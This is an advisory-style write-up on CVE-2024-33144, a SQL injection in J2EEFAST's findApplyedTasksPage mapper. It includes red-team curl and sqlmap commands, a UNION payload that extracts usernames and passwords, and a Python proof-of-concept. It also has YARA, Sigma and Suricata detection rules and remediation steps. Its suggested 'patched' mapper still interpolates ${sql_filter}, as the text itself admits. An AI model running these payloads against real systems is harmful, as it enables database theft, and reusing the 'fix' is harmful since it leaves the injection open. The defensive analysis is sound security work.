CVE-2024-33144

Executive Summary

CVE-2024-33144 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, a Java-based rapid development framework. The flaw resides in the findApplyedTasksPage function within BpmTaskMapper.xml, specifically through the unsanitized sql_filter parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the application's ecosystem. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details available.

Supply Chain & Package Security

This vulnerability affects the J2EEFAST framework, which is a Java/Maven-based project. While not an NPM, PyPI, Go, or Ruby package, the risk extends to any organization using J2EEFAST v2.7.0 as a dependency in their Java applications. The lack of a patch means all deployments are at risk until a fix is applied manually.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication, making it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the MyBatis mapper file BpmTaskMapper.xml. The findApplyedTasksPage function constructs a dynamic SQL query by concatenating the sql_filter parameter directly into the WHERE clause without parameterization or sanitization.

Root Cause: The sql_filter parameter is intended for dynamic filtering but is directly interpolated into the SQL statement. For example, the mapper might contain:

<select id="findApplyedTasksPage" parameterType="java.util.Map" resultType="java.util.Map">
    SELECT * FROM bpm_task WHERE ${sql_filter}
</select>

The use of ${} instead of #{} in MyBatis allows direct string substitution, enabling SQL injection.

Attack Vector: An attacker sends a crafted HTTP request to the endpoint that calls findApplyedTasksPage, injecting SQL payloads into the sql_filter parameter. For example:

GET /bpm/task/findApplyedTasksPage?sql_filter=1=1 UNION SELECT username,password FROM users--

This would return all usernames and passwords from the users table.

Impact: Full database compromise, including extraction of sensitive data, authentication bypass, and potential command execution via xp_cmdshell (if SQL Server is used) or similar database features.

Vulnerable vs. Patched Code

Vulnerable Code (J2EEFAST v2.7.0):

<!-- BpmTaskMapper.xml -->
<select id="findApplyedTasksPage" parameterType="java.util.Map" resultType="java.util.Map">
    SELECT * FROM bpm_task WHERE ${sql_filter}
</select>

Patched Code (Hypothetical Fix):

<!-- BpmTaskMapper.xml -->
<select id="findApplyedTasksPage" parameterType="java.util.Map" resultType="java.util.Map">
    SELECT * FROM bpm_task
    <where>
        <if test="sql_filter != null and sql_filter != ''">
            AND ${sql_filter}
        </if>
    </where>
</select>

Note: The above is a partial fix. A proper fix would use #{} for parameterized queries or implement a whitelist of allowed filter columns. Since no official patch exists, the recommended approach is to replace ${sql_filter} with a safe, parameterized alternative or remove the dynamic filter entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• J2EEFAST v2.7.0 running on a target server.
• Network access to the vulnerable endpoint (e.g., /bpm/task/findApplyedTasksPage).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/bpm/task/findApplyedTasksPage?sql_filter=1=1"
   

   If the response returns all tasks, the endpoint is vulnerable.

2. Extract database version:

   sql_filter=1=1 UNION SELECT @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

   (Adjust column count based on the table structure.)

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/bpm/task/findApplyedTasksPage?sql_filter=1" --batch --dbs
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/bpm/task/findApplyedTasksPage"
payload = "1=1 UNION SELECT username,password FROM users--"
params = {"sql_filter": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual SQL keywords in HTTP parameters (e.g., UNION, SELECT, OR 1=1).
• Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
• Use database audit logs to detect anomalous queries.

Defense:

• Immediately upgrade to a patched version if available, or apply the hypothetical fix above.
• Implement input validation and parameterized queries for all dynamic SQL.
• Restrict database user permissions to least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /bpm/task/findApplyedTasksPage with sql_filter parameter containing SQL keywords.
  • Outbound database connections from the application server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified BpmTaskMapper.xml files (if attacker attempts to patch).
  • Suspicious log entries in application logs showing SQL errors or unexpected queries.
• Database IOCs:
  • Unauthorized UNION or SELECT queries in database logs.
  • New user accounts or modified data in sensitive tables.

Detection Engineering

YARA Rule

rule CVE_2024_33144_SQLi_J2EEFAST {
    meta:
        description = "Detects SQL injection attempts targeting J2EEFAST v2.7.0 findApplyedTasksPage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33144"
    strings:
        $sql_filter = "sql_filter="
        $sqli_pattern = /(UNION|SELECT|OR\s+1=1|DROP|INSERT|UPDATE|DELETE|EXEC|xp_cmdshell)/i
    condition:
        $sql_filter and $sqli_pattern
}

Sigma Rule

title: SQL Injection Attempt Against J2EEFAST findApplyedTasksPage
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the sql_filter parameter in J2EEFAST v2.7.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "sql_filter="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33144 SQL Injection Attempt - J2EEFAST findApplyedTasksPage"; flow:to_server; content:"sql_filter="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|DROP|INSERT|UPDATE|DELETE|EXEC|xp_cmdshell)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /bpm/task/findApplyedTasksPage via web server configuration.
2. Apply input validation: Sanitize the sql_filter parameter to allow only alphanumeric characters and specific operators (e.g., =, <, >).
3. Use parameterized queries: Replace ${sql_filter} with #{} and implement a whitelist of allowed filter columns.

Long-Term Fix:

• Upgrade to a patched version of J2EEFAST once available.
• Conduct a full security audit of all MyBatis mapper files for similar injection vulnerabilities.
• Implement a Web Application Firewall (WAF) with SQL injection prevention rules.

Workaround:

• Modify BpmTaskMapper.xml to remove the dynamic sql_filter functionality and hardcode the filter logic.

Valters IT